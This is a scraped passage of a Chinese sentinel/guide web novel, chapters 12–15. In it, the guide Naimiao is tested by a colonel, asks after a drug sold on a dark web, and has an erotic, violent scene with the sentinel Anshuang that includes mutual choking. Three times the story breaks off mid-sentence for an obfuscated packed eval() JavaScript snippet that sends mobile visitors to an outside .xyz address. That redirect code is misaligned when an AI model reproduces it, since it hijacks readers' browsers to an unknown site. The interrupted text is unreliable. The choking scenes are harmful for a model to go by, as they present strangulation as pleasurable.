奈苗微微一愣。 这是……巧合吗? 暗网是四年前出现的,那时暗双还是刚进入白塔的学生。一年前,鬼游戏事件发生时,暗双应该刚下战场,精神世界崩坏,进行着疗愈。 时间线很难对得上,性格也完全不同。奈苗想了又想,还是认定这是一个巧合。 她最终将明天的疗愈时间定在了晚上七点,白天的时间空出来,可以接任务,赚些积分的同时,也多认识一些人。 毕竟暗网的地址,大概只能从其他哨向口中问出了。 次日,奈苗被外面熙熙攘攘的声音吵醒,一队伤残哨兵刚从前线回来,正排队进入疗愈区。 作为工作了两年的向导,她很清楚这意味着什么——所有人都要在今天加班加点的工作,即使她这个新人也不例外。 隔壁屋重重摔上了门,大概鲤诺被分配了很重的任务量,怨气不轻。奈苗倒是心平气和,慢悠悠吃着早饭,一边看系统给她分配的任务。 整整十人的精神清理工作。 ……真够狠的。 虽然做足了心理准备,奈苗还是脸色一僵。要知道即使在蓝塔最忙的时候,她一天也就只给五六个人做过清理。 奈苗三两口将剩余的 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一道庞大的阴影从前方笼罩住奈苗。她抬起头,看到一位几乎接近两米高的哨兵,他身材健硕,一头金黄色的蓬松卷毛,蜜色皮肤略有粗糙,显然经常上前线风吹雨打。 他眉骨高高隆起,眉毛浓密粗壮,鼻子高挺,嘴唇宽厚,下巴上一道长长的刀疤,一直延伸到下唇。这样一张厚重的脸,睫毛却是纤长的,配上浅金色的瞳仁,更显出一丝反差的俊美来。 他正垂眼向下,和奈苗对上视线。那一瞬间,奈苗身子情不自禁地抖了一抖,他的眼神过于锐利有神,她被牢牢注视之时,就像是一只被草原霸主盯上的猎物——她甚至还没和他精神链接,就已经感知到他的精神体应该是一头狮子,一头气场雄厚到力压在场所有哨兵的健壮雄狮。 嘈杂的人群立刻安静下来,刚刚还在吵架的哨向此刻都紧紧闭上嘴,纷纷起身朝他敬礼,喊道:“恩斯中校!” 奈苗也连忙站起身,举了一个并不标准的军礼,跟着说道:“恩斯中校。” “我是来清理的,你们继续。” 他的声音低沉雄厚,在面前响起时,奈苗甚至感觉自己的胸腔在隐隐震动。他朝他们点点头,其他人就都低下头来做清理工作,不敢再有一丝一毫的抱怨。 上尉安白比他们这些一层的哨向们高两个级别,而这位中校比上尉高两个级别。安白最高可以去到三层,他则能够去到四层,甚至第五层。 想到这里,奈苗激动起来,这是进入白塔以来,她和最高层最接近的一次了。她紧紧地望着他,执军礼的手缓慢放下,垂到身侧时,还在微微颤抖。 要冷静。奈苗对自己说道。 这只是一次自然匹配,只是一个和中校混个脸熟的……普通清理机会而已。 恩斯坐在她面前的座位上,就像一座山一般。她感觉到自己的身子完全被他的身子笼罩起来了,那股过分强势的精神力还未散发出,就隐约地压迫得她不能呼吸。她本在想,如果四五层都是这样的哨兵,也怪不得白塔不允许擅自串层。但很快她意识到,面前这位长官正在以略有审视的目光打量着她。那样的压迫并非自然而然,而是…… 他在考验她。 奈苗额上落下一滴冷汗。 他发现了。他发现她是一个—— 一个没有资格进入白塔的,E级向导。 12.叔侄 恩斯如狮掌一般的大手搭在奈苗的手背上,指尖轻轻一碰,草原上清澈的风就和草汁香气一起席卷而来。她甚至还没找到自己精神体的位置,小猫就被强势的力量卷进了他的世界里。 雄狮卧在大草原之上,金色鬃毛被风吹得飞舞起来,显得它的身躯更加雄壮。它缓缓转过头,看向身旁那只还没它半个爪子大的小猫,抬爪轻轻一个拨弄。猫被掀翻好远,又跌跌撞撞地跑过来,喵喵叫了两声。 它闻到了血的味道。狮子是有伤口的,但没伤在表皮,它不知伤口在哪,也就不知道从哪里下嘴清理。 狮子见它在一旁跑来跑去,耳朵微微一转——它略有惊讶,见到了这般巨大的体型差,猫居然还想着要疗愈它。 自不量力。 狮子扭过头去,一阵狂风吹来,将猫直接掀出了它的草原。 奈苗猛地睁开眼,一把抓住恩斯正要收回的手:“恩斯中校,我还没开始清理。” “不必了。”恩斯嘴角自带一点向上的弧度,像是一直在微笑一般,但冰冷的眼里并没有半点笑意,他撇开奈苗的手,说道:“你很娇小。” 对于一名哨兵或者向导来说,精神体小绝不是一件好事,虽然没有明说什么,但显然是对她的能力太弱十分不满。他从口袋里掏出手机,一边操作着什么,一边随口问道:“谁招你进来的?” ……他要把自己从白塔开除吗? 在她刚刚进来的第二天。 奈苗出了一身冷汗,心跳快得像要从嗓子里跳出来,面上仍尽量保持着淡然的微笑,心里却已经乱成一团。 要用出攻击的形态吗? 虽然大概能震住恩斯,但这也意味着她的能力和存在会被暴露给白塔。恩斯可不像安白那样会有私心。她会被抓起来,带到上层的监狱里,在见到她想见的人之前,先被她不想见的那人发现…… 不行,这不是她想要的结果。 奈苗又一次抓住恩斯的手,说道:“中校,我——” “我招进来的。” 身旁的哨向们齐齐看向清理室的入口。金黄色长发的上尉扶着门框,胸脯微微起伏,额上一滴汗水滑落,看来刚刚是跑过来的。 他将一缕垂在脸侧的发丝顺到耳后,沉着脸走过来,握住奈苗的手腕,从恩斯的手上挪开,说道:“恩斯,招人是我的工作。” 恩斯抬头瞥他一眼,他不耐地换了个站姿:“……恩斯中校。” “招她的理由?” “她很有潜力。一个月后正式考核的时候,你就知道了。” “她没找到需要清理的位置。”恩斯嘴角微微上提,一个略带嘲讽的表情,“潜力在哪?” 安白不能将她拥有S级攻击型的事情说出来,一时半会又找不到其他能作为潜力的证词——毕竟奈苗的小猫实在是太小了,连其他一层向导精神体的一半都不到。 他瞪着恩斯,说道:“是你藏得太深了,故意为难她。” 恩斯笑了一声,无言地看了他一会。安白被这意味深长的眼神看得炸了毛,对周围悄悄看戏的士兵们怒道:“看什么看!”转过头,又不忿地说道:“本来就是。” 他们用眼神对峙着。奈苗忽然感觉两人的眼睛长得很像,头发也都是金色。恩斯明明是安白的上级,安白却有一种莫名的熟稔、放肆以及……叛逆。 “这不是理由。” 恩斯淡淡地说道,他的眼神回到手机上,点了几下,好像在操作着什么。 安白情不自禁地攥紧了奈苗的手,咬牙道:“你既然把招人的任务交给我,就要信任我的判断。我绝不会做对白塔不利的事,只是不想放过每一个人才……”他顿了顿,忽然低低地唤了一声:“叔叔。” 这声音极低,还参入了一丝精神力的屏障,身边的士兵都没有听到,奈苗也只是因为离得太近,隐约听到了一丝飘渺的回音。 原来是叔侄。 “最后给她一次机会。”恩斯放下手机,说道:“如果一分钟内找不到伤口的位置,我就要判定是你选人的失职了。” 刚才奈苗就没有找到,再来一次也不会有什么变化。安白说道:“我要协助,先进行一点指导。” “我赶时间,一起来。” 一起? ……三个人一起?就在这里? 奈苗愣了愣,看见安白脸上也闪过一丝错愕。 虽说这完全是可行的,但在工作中,这样的疗愈方式很少见——一位哨兵很难允许另一位哨兵进入自己的世界,同理,哨兵在其他哨兵的世界里也会呆的很难受,疗愈过程中,更弱的那方难免会有些狼狈。 这里是公共区域,众目睽睽之下,安白并不想太过失态:“那去我的办公室……” 恩斯懒散地靠向座椅靠背:“还有五十五秒。” “……” 安白将奈苗的手完全包裹在掌心。增加了身体接触,金毛很轻易地闯进小猫的宇宙里。它叼住小猫的脖子,一跃跳入那翻腾着狂风的茫茫草原上,将小猫甩到狮子浓密的毛发里,说道:“在体内!” 这就像在考场上,监考老师直接给出了一道大题的答案,但没有过程,依旧不能得分。 小猫迷茫地看着沉默的狮子,它实在太弱小,无法透视狮子那雄厚强大的精神体。它实在是找不到伤口,又想尝试第二种解法—— 让自己的精神体进入他的。两者交融时,就能看到内在的形状。 小猫试图让自己进入狮子里,但它甚至没法穿过狮子的一根毫毛——恩斯不仅精神世界充满了屏障,甚至连精神体都坚不可摧。只要他不放下心防,它没有任何可能进入这头狮子。 不,还是有可能的,只要它变成巨猫…… 小猫的毛蓬松起来,像一团粗糙的小毛团,金毛叫了一声,叼住它的后颈,舌头顺势舔了几下了,几乎要把它吞下去了。 奈苗知道,这是在提醒她,不要变成攻击型。 “三十秒。” 雄厚的低音从外面的世界传进来,紧随其后的,是安白匆忙而焦急的指导:“让他进入你!” 奈苗第一反应就是抗拒。如果恩斯进入她的精神体里,稍一挣扎,就能将她的小猫撕碎。她对这位刚认识的哨兵并没有这样的信任,但,此刻又没有其他方法。 ……也只能让他进来了。 奈苗深吸一口气,小猫像水一样摊成一块猫饼。狮子耳朵动了动,似乎惊讶于她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502714|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么快地放下了自己的戒备与抗拒。 “……诱导他。” 安白声音微喘,还有一丝说不出的痛苦,大概是因为在恩斯的世界里受到了精神压迫,又或者是因为他不得不目睹奈苗和自己的叔叔精神融合。 奈苗顺从了他的指导——她的确颇有天赋,立刻领悟了该做的事情,猫翻滚着露出肚皮,一个放松的、示弱的动作,与此同时,身上放出了疗愈的光球: 猫散发出了好闻的疗愈味道,让受伤的哨兵精神体情不自禁地与它更贴近一些。狮子终于有了反应,而金毛也同时颤抖起来,它也想与猫更近一些,但只要向前一步,就被狮子身上散发着的强势压得难以喘息。那是一种与被奈苗攻击不同的感受:哨兵天生便追随着向导,哪怕是被攻击,就像不同磁极的磁铁。但哨兵与哨兵之间天生便互相抗拒,他们是磁铁的一极,需要竞争谁更吸引那只柔弱的小猫。 狮子和猫紧紧贴在一起,相依相融。金毛站在一旁,焦躁地舔舐小猫的毛,以获取一丝安慰。 安白几乎像要把奈苗的手揉进自己手掌里似的,握得太过用力——他在精神世界里眼睁睁看着他在意的向导容纳另一位哨兵的进入,于是,便不自禁地在现实世界中靠身体的接触讨回一丝安全感。 奈苗感到很痛。 无论是被狮子进入的感觉、后颈被金毛咬住的感觉,还是手上被安白攥住的感觉。 都很痛。 三人的结合真该被白塔列为禁令——她一边想着,一边让狮子更深地进入自己。 越到深处,就进入的越艰难,哪怕狮子一动都未动,也是被撕裂一般的痛感。猫开始呜咽,但它的主人却兴奋地笑起来: 她发现了!她看到了那道需要清理的伤口! 藏在精神体深处,她根本无力疗愈、也无力清理的巨大伤口。 但她并不需要做什么,她只需要发现,就是赢了。 “好了。” 狮子站起身的同时,金毛和猫都被狂风卷了出去。安白和奈苗同时倒吸一口冷气,齐齐睁开了眼。 安白喘着粗气,脸色苍白,发丝完全被汗水浸湿。他身子向奈苗倒去,被她不着痕迹地扶住后背——这样,不会让其他士兵看到他在被搀扶。 安白复杂地看了她一眼,说不上是感激、埋怨,还是什么,虽然被她扶了一把,心里更多的却是哀怨。 奈苗无心关怀他的想法,她偷偷瞥着恩斯手机上的时间:正好一分钟。她控制不住地翘起嘴角,一个略带得意和俏皮的笑:“恩斯中校,我通过了吗?” 恩斯恩斯似笑非笑地看着她,说道:“正式考核时,希望你能变成一只大猫。” 他站起身,周围的士兵又开始一声接一声地喊“恩斯中校”。他朝他们点了点头,站在安白身侧,像是要和他说些什么一样。 安白提防地看着他,却见他的手就这么搭在了奈苗的头上,顺手缕了一把,像在摸一只小猫。 “对了,你的精神体很可爱。” 奈苗还没什么反应,安白先炸了毛,怒道:“恩斯!第三十条!” 恩斯笑了笑,望着他们交握的手。 “要注意第三十条的是你。安白。” 13.按倒 恩斯走掉后,周围的气压立即变高了些,士兵们小声议论着,不停投过来好奇的眼神。 安白心情差到极点,挨个瞪过去,瞪得他们不敢再看过来,不悦的目光最终停留在奈苗身上。 “今晚加训,不许迟到。” 奈苗却心情大好,笑吟吟地点了点头,一边把手搭到下一位前来清理的哨兵手上。那哨兵惊讶于居然有对他如此亲密的向导,脸上浮现出一抹红晕来。 “……” 简直不堪入目。 安白脖子上鼓起一道青筋,他忍了又忍,还是没说什么——毕竟奈苗能力有限,确实需要些身体的接触才能进行清理,只好自己暗下决心,要早点训练到她不需要触碰别人也能进行疗愈。 身为白塔的向导,不仅发现不了哨兵的伤口,还动不动和哨兵拉拉扯扯,像什么样子。他心中满是对奈苗的怨气,转过身向她对面的哨兵训斥道:“严肃点,你把清理工作当什么了?” 说罢,怒气冲冲地转身离去。 那位莫名被骂了一番的哨兵面露困扰:“向导,我做错什么了吗?” “是他自己工作压力太大了。”奈苗与他紧紧地牵着手,微笑道:“不要管他,你没有任何问题。” …… 之后的九个疗愈任务都是伤在表面的A级哨兵,奈苗虽然做的慢,但态度温和,动作轻柔,不仅没有哨兵对她提出不满,还在最后纷纷加了她的联系方式,表示之后要找她做疗愈。 “当然可以。”奈苗表面亲和地答应下来,却等他们走之后一个个查看等级,心里计算着治疗后能得到多少积分。 她接清理工作是为了认识人的,但如果要花更多的时间为这些级别不高的哨兵进行疗愈,她可不愿意。 所有工作做完后,已经是下午三四点了,奈苗还没吃上午饭。一次性精神消耗太大,她没什么胃口,在清理室门口买了杯咖啡,想着找个地方坐着休息会。 白塔环境很好,大厅里巨大的玻璃幕墙中透出塔外灿烂的阳光,折成一缕一缕的光条,映射在光洁的地板上。大多数人都步履匆匆,边低头浏览消息边赶往下一个清理室。几颗两层楼高的大树下累着几排舒适的靠椅,却只坐了一个人,垂头抱膝,蜷曲的金色长发披散下来,被光笼罩之时像是一只脆弱的精灵。 奈苗走上前去,将咖啡递到她身边。 “莓拉。” 莓拉抬起头,眼角发红,脸上两道泪痕。她略一愣,才想起这是鲤诺的室友,两人曾有尴尬的一面之缘,脸唰地红了起来。 “要不要喝杯咖啡?”奈苗微笑道。 “谢谢,不用了……”莓拉轻轻推开她的手,两人手指靠近时,她却动作一顿,目光停在奈苗的戒指上那件小小的粉红色蝴蝶结配件。 “这是你自己买的吗?” 奈苗也没执意要将咖啡送她,收回了手,坐在她身旁,“别人送我的,怎么了?” “……这里面有感应器,用来监测你的脉搏。”莓拉面露担忧:“你是不是被谁盯上了?” ……监测脉搏。 怪不得安白会那么快赶来,原来是感应到她心跳加速了。果然无缘无故送礼物的男人必有所图。 “我知道了,这很重要,谢谢你提醒我。”奈苗揉了揉那蝴蝶结,却没摘下来,问道:“你是怎么发现的?” “我在我的戒指上装了个探测器……”莓拉伸出食指,将自己的戒指靠近奈苗的,一阵小小的电流声响起,“听,这种声音就说明你的戒指上装了东西,不同的电流声对应不同的仪器。” 两人的手贴的很近,奈苗轻轻地抓住她的手指,微笑道:“好厉害。” “……没有啦……” 莓拉羞赧地转过头,脸比之前更红了。 两人沉默了一小会,奈苗就这么坐在她身边喝咖啡,没有要走的意思。终究还是脸皮更薄的莓拉先开了口:“你不准备摘掉这东西吗?” “那个人不会发现什么的,我的心跳一般不会有变化。” “任何时候?哪怕是……” “任何时候。” 除了接近第五层的任何时候,就算是与人深度结合,她也不会心跳加快一分一毫。 莓拉望着她坚定的神情,一时有些出神。 奈苗忽然问道:“莓拉,能把暗网地址告诉我吗?” “……你要做什么?” “我想买爆发素。” “……对不起,我也不知道。” 莓拉再次垂下头,把自己抱得更紧了。 奈苗问的随心,这个回答也算预料之中——她还没有成为这些哨向的“自己人”,自然问不出答案。她将最后一口咖啡饮尽,站起身,对着莓拉微笑道:“如果有什么不开心的事情,可以和我说。” 她刚要转身离去,却被莓拉抓住了袖子,听见那隐隐带哭腔声音说道:“你不要买爆发素……不要变成下一个鲤诺。” 奈苗安抚地摸了摸她的肩膀。 “我不会的。” 晚上七点十分,奈苗来到暗双的疗愈室门口。 和上次一样,小屋子紧关着门,门缝里透出一丝光,不过按动手柄的声音比上次用力许多,好像有些焦躁。 奈苗这次没有敲门,直接推门而入。 暗双仍旧坐在桌前,好像对她的到来并没什么反应,但电脑里角色被boss一招秒掉,屏幕上血红的失败说明了一切。 “……你来晚了。” 他背对着奈苗说道。 奈苗坐到他身边的床上,歪过头看他,见他白色的睫毛轻颤,眼神快速地瞥她一眼,又哀哀怨怨地躲开。 大概是期待地等到了七点,又因为她晚到了十分钟而失望。 奈苗和朋友撒娇似地,温柔的语气笑道:“有点事耽误了,对不起嘛。” 暗双心有不满,这么久以来,都是向导追着赶着要疗愈他,还从没有过谁让他这样期盼着还迟到的。他咬着下唇,忿忿地道:“你只能给我治愈2%……不,1%。” “那些事不重要。”奈苗自然地接过他手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517572|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的手柄,“我们先来打一会游戏吧。” 暗双愣住了。打游戏是很好,他很愿意和莲一起面对面地游戏,但让他等了一整天的并不是这件事。 难道她并不像他一样,期待疗愈着今天的疗愈吗? “你不愿意?” “……我当然愿意。”暗双掩下失落,又拿了个手柄,重置了游戏,点击对战模式,“就玩这个么?” “嗯。”奈苗快速按了两下,对面的角色还没有动作,就已经原地倒下。“你死了。怎么走神呢?” 暗双看着自己死去的角色,呆愣了片刻。明明是他最沉迷的游戏,明明是他期待了很久的和莲线下联机,但怎么……就这样不甘呢? 他喉结滚动,带着莫名的情绪狠狠地敲下重开键。奈苗的角色迅速攻过来,又一次将他秒杀。 她倒是有心情认真玩。暗双心里酸涩,但也搞不清楚是怎么回事,只是觉得意识完全无法聚焦在游戏上。 他心不在焉地摇了几下手柄,忽然一只温软的手从旁边探过来,抚上了他的手背。 被握住的地方暖暖麻麻,像有电流传来,刺得暗双心脏一阵阵发紧,他在紊乱的心跳声中,听到她说道:“找不到手感了?” 手……感。 他没有手感,他都快无法识别手上的感觉了。不知为何,这次比昨天的拥抱还要感觉强烈——就或许因为这只手在他最预想不到、最沮丧失望的时刻握上来,就好像一把攥住了他的心脏。 “我……” “继续游戏吧。”奈苗控着他的手指,按下重开键,他手忙脚乱地按了几下,屏幕中的小人滑稽的像在跳舞,奈苗笑了几声,搞得他更加迷乱,又听她说道:“我喜欢和你……” 后面的声音消失在人物的击打音效中。 暗双完全没有在看屏幕,但这种即将发生什么的氛围下也不敢和奈苗对视,角色抗下几招,慌忙问道:“什……什么?” 哒哒。 猫昂首挺胸,迈着小猫步进来了。 暗双没有任何防御,他感觉到猫趴在他的蛇的身上,以一种柔软的力度向下展开,变成一个容器的样子,并放出治愈的香气。 蛇的尾巴尖立起来,不自觉地钻到小猫敞开的身体里。猫这次似乎学会了放松,不像之前那样生硬地舔毛,它毛茸茸的身子敞开之时,就已经带上了不小的疗愈力度。 1%。 精神体密切相接之时,奈苗的身子也和他越靠越近,近到他听得到她不疾不缓呼吸的声音,看到她微微翘起的嘴角里吐出轻飘飘的话语。 “我喜欢和你玩游戏。” 2%。 奈苗打出一个暴击,暗双的小人没有反击,重伤倒地,死了。 咚的一声,手柄落到桌面上。暗双一把扭住她的肩头,刚刚在游戏里没使出的力度终于发泄出来,将她按倒在床上,床上的漫画书被不知谁的胳膊碰到,散落一地。 ……3%。 “我不喜欢玩……这个游戏。” 他说道。 14.缠抱 自然,暗双说的不是电脑里让他日夜痴迷的那款游戏,而是面前这位向导的戏弄。 他连对视都局促,冲动之下却掀翻了身边人。修长的手指一抖一抖,骨节突起,手心微潮,隔着薄薄的制服捏进奈苗的锁骨里。 “奈苗……” 暗双似乎已经练习过这个名字的发音,无比熟练地叫出来,不复昨天的青涩。他一点点地俯下身,两人间的距离不断缩小,直到他白色的发丝垂到她的脸上,带着一点瘙痒地滑下去,他的吐息像火一样拂过她的脖子。 “……我说了只要百分之一。” 声音又低又沉,略带干涩。 那千疮百孔的精神世界一整年都无人到访,光是有向导进来就足够刺激。蛇身伤痕累累,哪受得了那样的舒适,只是百分之一就已经让他欲/仙/欲/死,更别说他已为这一刻等上了整整一天。 他没什么自控能力。同一款游戏能重复玩上上万个日夜,一刻都不肯停,对着上瘾的人自然也是同样。 奈苗像是默许他的接近一样,那么自然地顺着他的力度躺下了。她沉静地望着暗双的眼,看到那双清泉水一样的冷白色眼眸里出现了一些在燃烧的东西,是快要抑制不住的强烈渴望。 被强制关押一年的S级哨兵绝不是什么好欺压的乖顺的狗。他们大多情绪不稳定,一点就炸,经常不顾后果地做出些无法挽回的事情。 那股暗潮涌动的气氛随时会被点燃,对于一名体型瘦弱的女性向导来说,这是极其危险的信号。 但奈苗没有任何反抗,因为猫还在努力着。 她放下心中所有与攻击有关的概念,只想着疗愈他。于是猫变成了最柔软的形态,吮吸蛇身上的伤,不明意味的眼神交锋的十几个瞬间,猫尽力地治愈每一处伤口。 4%……5%—— “够了!” 暗双忽地搂紧了她,借着那股无处挥洒的力,两人紧贴着滚了一圈。她趴在他身上,冰凉的锁链夹在中间,凸起的地方顶着彼此,软的和硬的,平静的和无法平静的,严丝合缝的。 他很快意识到,这样并不会让情况更好,反而让他的脑子更混沌,身上更燥热了。他手臂上的肌肉鼓起来,跳出青筋,手稍微动下位置,就将她领口的纽扣撕开一颗,领结向一旁歪去,露出让他惊心动魄的一抹柔和的雪白——比他更有血色、更有人气的肤色,同时也更柔软,更顺滑,像一道钩子牢牢扯住他的眼,让他明知道这样不对也无法反抗自己的本能。 想要看到……更多。 他无言地又用力一分,朝着更禁忌的地方迈去。衣领里侧,弧度出现之前,隐隐约约的地方…… 有一口暗红的疤。 像是一盆冷水,浇灭了他心中的火。他呆呆地看着那里,好像被那段慑人的红色吸走了意识,一时没说话。 奈苗好像早就预料到这一切一样,轻轻地笑起来,她坐直身子,虽然仍坐在他胯上,但心脏间的距离拉得很远。 “吓到了?” 她从来无需反抗。 这样的事情经历过很多次,总是会停止在这一步。这口虫子一样爬在胸口的丑疤会在雨夜里隐隐地疼,却也无数次用它丑陋的模样保护了她。 “……很疼。”暗双微颤的唇里挤出了一点痛苦的声音,“很疼吧。” 奈苗一愣,在他脸上仔细寻找,却没捕捉到一丝厌恶和抗拒。 他垂下眼,白炽灯下睫毛投下纤长的阴影,和黑眼圈融在一起,显得有些阴沉。刚刚将她肩膀攥得酸痛的手放下来,落在自己的小腹上。腰间锁链叮叮当当响着,被他拨开。指尖勾住衣服下摆,向上掀去。 精瘦的窄腰上,是随着呼吸而起伏的肌肉,带着一层薄薄小绒毛的苍白皮肤,和一道……和她如出一辙的伤疤。 奈苗开始发抖,她感知到自己的心跳快了一瞬,但她很快通过咬破舌头的痛感强迫自己冷静下来,向后挪动了一点,趴在他腿上离近了看那道疤。 他们可能经历过类似的事情。 但他们心照不宣地谁也没有问。 “……你愈合的比我好。”她仔细地看了又看,脸几乎要贴到他的腰上去了。伤口上,有一股前不久她刚刚闻到过的,叶子磨碎的味道。 是爆发素的气味。 原来这药不仅可以促进精神力发展,还可以疗愈身体的伤口吗?当然,肯定要付出某种代价,比如变成鲤诺或者暗双的状态,但她不怕这个,她只觉得这种好东西,自己必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544269|153183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须要更快得到。 如果是暗双的话,肯定会告诉她暗网地址。想到这,奈苗有些兴奋,甚至没来得及铺垫些什么,草率地问出口:“暗双,在哪里可以买到爆发素?” 话音刚落,却见暗双的手忽地一抖,猛然抓住了她的脖子,将她一把掼到床上。 这下太过突然,奈苗被掐的眼前一黑,过了好一会才缓过神来,看向翻身骑在自己身上、突然发狂的哨兵。 他咧开嘴大笑着,露出舌头上一颗白色的舌钉,灯光映射下,舌钉和他的眼一样闪闪发光,哪有之前缩在椅子上病恹恹打游戏的半点样子。 “原来你也是为了钱而来的。” 他的声音和之前不同,虽然是同样的声线,但声调高了不少,充满狂气,这样精力十足的状态和表情与他脸上浓重的黑眼圈格格不入,让他看起来就像一只起死复生的厉鬼。 “……你是谁?” “还挺敏锐的么。”暗双一挑眉,似乎惊讶于她的冷静。他手上微放松了力度,让她能稍微喘息几口,另一只手拎起一缕她的头发,顺着摸下来:“听说你叫什么猫?小猫,要是被他发现了你也是这样贪婪的人,他怕不是要难过的自杀,哈哈——” “和我没关系。”奈苗打断他,“你要是知道,就告诉我暗网地址。” “……这么冷漠?” “比不上你。” “喂,我可不是什么冷漠的人,相反,我非常关心别人!比如你——你未经允许进我的房间,我没有杀了你,反而和你耐心地对话。这就是证据。” ……人格分裂。 就知道这些需要长期疗愈的哨兵多少有点毛病,主人格正常了,副人格就躁狂又神经。 奈苗叹了口气,向一边扭过头。暗双见她这样不耐烦,激动起来,捏着她的脸拧回正面:“你这是什么反应?看着我,继续做你们刚才的事!你们刚才在做什么?做/爱?” “……我们在疗愈。”奈苗平静道:“要继续吗?” “这么无聊,不要。”他无赖地一撇嘴,唰地脱掉上衣,项链、手链一股脑丢到地上,看来他很讨厌主人格搞的这一身装饰。他跨坐在奈苗的腰上,伸手就要掀开她的制服,“还是来做/爱吧。” 15.游戏 白塔制服并不好解,暗双半天只解开了外套的扣子,里面还有一件紧身的白色衬衣。 “脱掉。” 他说着,冰凉的手伸进去,从侧腰摸到小腹,再上的地方被衬衣紧紧裹住,也要伸一只手指探入衣服与皮肤相贴的狭小缝隙里,像一条缠人的小蛇,从下往上扭着身子爬上来。 奈苗平静地躺着,没有反抗,也没有顺他的意,淡淡说道:“很压抑么?” 暗双一愣,蹙起眉,在她腰上狠狠掐了一把:“你在说什么?” 这一下并非挑逗,而是真用了力气,留下两道红印来。奈苗被拧得身子一个抽动,脸上终于出现了一丝波动—— 略有不耐的表情。 “我说你,性压抑。” 奈苗忽地伸手抓住他的脖子,两腿用力夹住他的腰,向旁一扭。暗双没想到她突然暴起,居然真被她一个翻滚压在身下,两人的位置再次颠倒过来,双腿之间紧密相贴,衣服也纠缠在一起,床上的被子和漫画书被踢到地上,一阵叮叮咣咣的响声。 混乱与纠缠之中,暗双愣了一愣,随之笑了一声,扯下她挂在胳膊上的外套,说道:“小猫,喜欢这样玩?” “嗯,喜欢。” 奈苗任他将自己的外套丢到一旁,露出被拧的一团乱的衬衣。领口敞开,疤痕和内衣上沿都露出来,黑色蕾丝边与红色缝合痕交织在一起,居然让那丑陋的伤痕有了一丝哥特式的美感。 “哈哈,小疯子。”暗双紧紧盯着那里,瞳孔紧缩,显然兴奋起来,也不知是在看她身上的伤,还是在看伤口两侧起伏的弧度。他颤抖的手去解她衬衣的扣子,音调奇异的高昂:“脱了再玩。” 奈苗居高临下地俯看他,眉毛微蹙,手上用力几分,掐得他的脸涨红起来。 “可是不想奖励你,怎么办?” “你正在奖励。”那几乎连不成一片的急促呼吸声中,暗双张扬地笑着:“我也会让你爽的。” 他把她的衬衣全解开了,露出了疤痕的全貌:从被遮挡住的两峰之间一路向下,一直到肚脐,像是人体的中轴线上一道沿虚线剪开的图示,比他身上的伤大了一倍不止,颜色更加深沉,俨然是一道陈年旧伤。 他们虽然经历过相似的事情,但程度并不一样,那会是更加疼痛,更加残忍的一场事故,并且来自于很多年前,或许是她的幼年时期。光是想一想那个场景,暗双就兴奋地竖立起来,他用视线反复描摹这道疤痕,手指从小腹出发,顺着疤痕的边缘摸上去。这里并不像新伤那样敏感,但奈苗的身子还是抖了起来。他知道的,因为疼痛,这种经过特殊处理的伤口永远会疼痛,叫她永远不能忘记那一夜晃眼的无机质手术灯。 他在她微微发抖的身子上揉搓一把,忽地狠狠掐住她脖子,与她同样的姿势,但更加精准地抵住动脉——更加专业的致死动作,只要用出十分之一的力度就可以让一名脆弱的向导死去。 他单腿顶住她的两腿之中,又一个翻身。那张窄小的床经不起这样的折腾,两人直接从床沿滚到地上,贴得更紧,顶得更深。奈苗的衬衣彻底散开,黑白红交错,像一副画卷。黑的胸衣、白的皮肤、红的疤痕,和从这画卷上面经过的挂着骷髅链子的苍白细瘦的手,脉搏的温度直接传输到彼此的身上。 她没有挣扎,只是收紧手上的力气。 “哈哈……哈哈。”被掐的断断续续的笑声中,暗双也用力掐紧,兴奋道:“这样你也喜欢吧?” 他们看着对方被自己扼住呼吸而有些扭曲的面容,却不约而同地没有推开对方的手,或许都有几分享受这样控制着、与被控制着呼吸的感觉。 奈苗被压细的声音轻轻说道:“他什么时候回来?” “等我玩完。”暗双笑道:“和他玩那幼稚的游戏有什么意思,还是和我玩些大人的游戏吧。” “你玩的不好。”奈苗捏住他的后颈,慢慢压下来,两人的脸越贴越近,近到嘴唇几乎要碰到彼此的脸颊,暗双不由得张开嘴,冰凉凉的舌钉碰到她的唇珠。她嘴唇微张,舌头探出,在他舌尖轻勾一下,深吻开始之前,贴着他的嘴说道:“我教你。” 滋滋—— 电流从蝴蝶结上飙出,直冲暗双脉搏而去,在两人身上穿梭,成了一个酥麻的回路。 